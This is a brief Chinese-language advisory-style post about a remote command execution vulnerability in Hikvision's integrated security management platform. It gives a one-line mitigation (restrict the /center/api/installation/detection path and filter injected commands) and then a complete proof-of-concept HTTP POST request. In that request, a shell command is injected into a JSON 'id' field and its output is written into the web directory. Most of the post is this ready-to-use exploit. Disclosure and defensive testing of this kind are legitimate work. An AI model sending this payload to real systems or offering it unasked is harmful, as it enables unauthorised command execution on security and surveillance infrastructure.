【攻防演练】【含poc和修复建议】海康威视综合安防管理平台 远程命令执行漏洞

使用防护类设备进行防护，限制访问/center/api/installation/detection 路径，拦截请求中出现的恶意命令注入

POST /center/api/installation/detection HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac Os X 10 12_6)
AppleWebKit/537.36(KHTML, like Gecko) Chrome/105.0.1249.139 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,i
mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8
{"type":"environment","operate":"","machines":{"id": "$(id >/opt/hikvision/web/components/tomcat85linux64.1/webapps/vms/static/echo.t
xt)"}}